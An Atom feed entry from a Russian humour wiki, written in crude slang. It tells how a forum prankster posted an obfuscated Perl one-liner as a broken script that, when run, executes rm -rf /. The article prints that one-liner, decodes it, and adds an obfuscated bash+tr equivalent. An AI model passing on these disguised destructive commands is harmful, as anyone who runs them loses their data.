<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%B8%D0%B7_%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D1%87%D0%BA%D0%B8_%D0%BD%D0%B0_Perl</id>
	<title>Программа из одной строчки на Perl - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%B8%D0%B7_%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D1%87%D0%BA%D0%B8_%D0%BD%D0%B0_Perl"/>
	<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%B8%D0%B7_%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D1%87%D0%BA%D0%B8_%D0%BD%D0%B0_Perl&amp;action=history"/>
	<updated>2026-11-04T23:38:28Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://t8.lbstr.eu/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%B8%D0%B7_%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D1%87%D0%BA%D0%B8_%D0%BD%D0%B0_Perl&amp;diff=18940&amp;oldid=prev</id>
		<title>127.0.0.1: /* Аналог на bash+tr */</title>
		<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%B8%D0%B7_%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D1%87%D0%BA%D0%B8_%D0%BD%D0%B0_Perl&amp;diff=18940&amp;oldid=prev"/>
		<updated>2019-09-13T20:43:27Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;Аналог на bash+tr&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Фраза &amp;#039;&amp;#039;&amp;#039;Программа из одной строчки на [[Perl]]&amp;#039;&amp;#039;&amp;#039; происходит из одноимённой темы раздела Development расово верного форума [[ЛОР]], в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки &amp;#039;&amp;#039;&amp;#039;ни&amp;#039;&amp;#039;&amp;#039; Perl».&lt;br /&gt;
&lt;br /&gt;
== Последствия ==&lt;br /&gt;
Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме о том, [[Rm -rf#Патч Бармина|какую же]] команду скрипт выполняет.&lt;br /&gt;
&lt;br /&gt;
== Суть скрипта ==&lt;br /&gt;
Сабж выглядит вот так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;gt;&lt;br /&gt;
perl -e &amp;#039;$??s:;s:s;;$?::s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{;;y; -/:-@[-`{-};`-{/&amp;quot; -;;s;;$_;see&amp;#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Те же яйца, но в профиль:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
$var = &amp;quot;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{&amp;quot;;&lt;br /&gt;
$var = tr{ !&amp;quot;#$%&amp;amp;&amp;#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}}&lt;br /&gt;
         {`abcdefghijklmnopqrstuvwxyz{/&amp;quot; -};&lt;br /&gt;
eval($var);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
То есть, сначала командой &amp;lt;code&amp;gt;$??s:;s:s;;$?::s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{;&amp;lt;/code&amp;gt; во временную переменную записывается текст &amp;lt;code&amp;gt;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{&amp;lt;/code&amp;gt;, затем он транслитерируется (&amp;lt;code&amp;gt;y; -/:-@[-`{-};`-{/« -;&amp;lt;/code&amp;gt;) и превращается в команду &amp;lt;code&amp;gt;system&amp;quot;[[rm -rf|rm -rf /]]&amp;quot;&amp;lt;/code&amp;gt;, смысл которой понятен даже людям, &amp;lt;del&amp;gt;с Perl не знакомым&amp;lt;/del&amp;gt;. Далее эта команда отдается на исполнение интерпретатору (&amp;lt;code&amp;gt;s;;$_;see&amp;lt;/code&amp;gt;). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.&lt;br /&gt;
&lt;br /&gt;
== Аудитория ==&lt;br /&gt;
Скрипт был рассчитан на лохов, [[Не работай под рутом|работающих под рутом]], и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно [[Lulz|ради лулзов]], однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:&lt;br /&gt;
&lt;br /&gt;
{{Цитата|А еще мы наверное кнопки канцелярские на стулья коллегам подбрасываем, да? А хули — смотреть надо куда садишься! Или веревки на уровне щиколоток натягиваем, что бы ламерье, которое под ноги не смотрит под общий смех таких же дебилов наебывалось. Тут вопрос то не в уровне квалификации! Блять, тут же не кроватка какаянить этож, нах, профешионал сосаити со всеми атрибутами. И ставить такой код — это все равно, что сунуть человеку раскаленный утюг с милой улыбкой: типа подержи пока.. Любой знает, что утюг может быть горячим, но как правило, такого уровня идиотского юмора просто не предполагаешь. Тем более, что у недоумков вроде автора этой веселой шутки, под управлением одна писюха под непонятно зачем поднятым на нем линухом. Нормальные люди окучивают по три-пять площадок одновременно и еще отвлекают, плюс бутерод и форума почитать — чтоб передохнуть. А тут перловая заковыристая строчка интересная вроде.. и блять умники — вот честно, кто одним махом понял чо за код? Первым делом какой позыв когда скрипт падает? Хуйнуть в первый же попавшийся шелл и посмотреть на ошибку интерпритатора, так? Короче, займись делом, шутник хуев. И когда ты лично хакер вонючий наступишь в кучу говна посреди темного лифта — помни, что это просто веселая шутка. Не будь ламером, всегда смотри куда наступаешь! Адье! ПС а ветку эту лучше оставить. В назидание.}}&lt;br /&gt;
&lt;br /&gt;
== Аналог на bash+tr ==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;gt;&lt;br /&gt;
$(echo &amp;#039;%\%#{&amp;lt;-{}&amp;lt;&amp;amp;{`&amp;#039; |tr &amp;#039; -/:-@[-`{}&amp;#039; &amp;#039;`-{/ -&amp;#039;)2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Принцип действия абсолютно тот же самый.&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* [http://www.linux.org.ru/jump-message.jsp?msgid=392747&amp;amp;page=-1 Оригинальная тема]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{ЛОР}}&lt;/div&gt;</summary>
		<author><name>127.0.0.1</name></author>
	</entry>
</feed>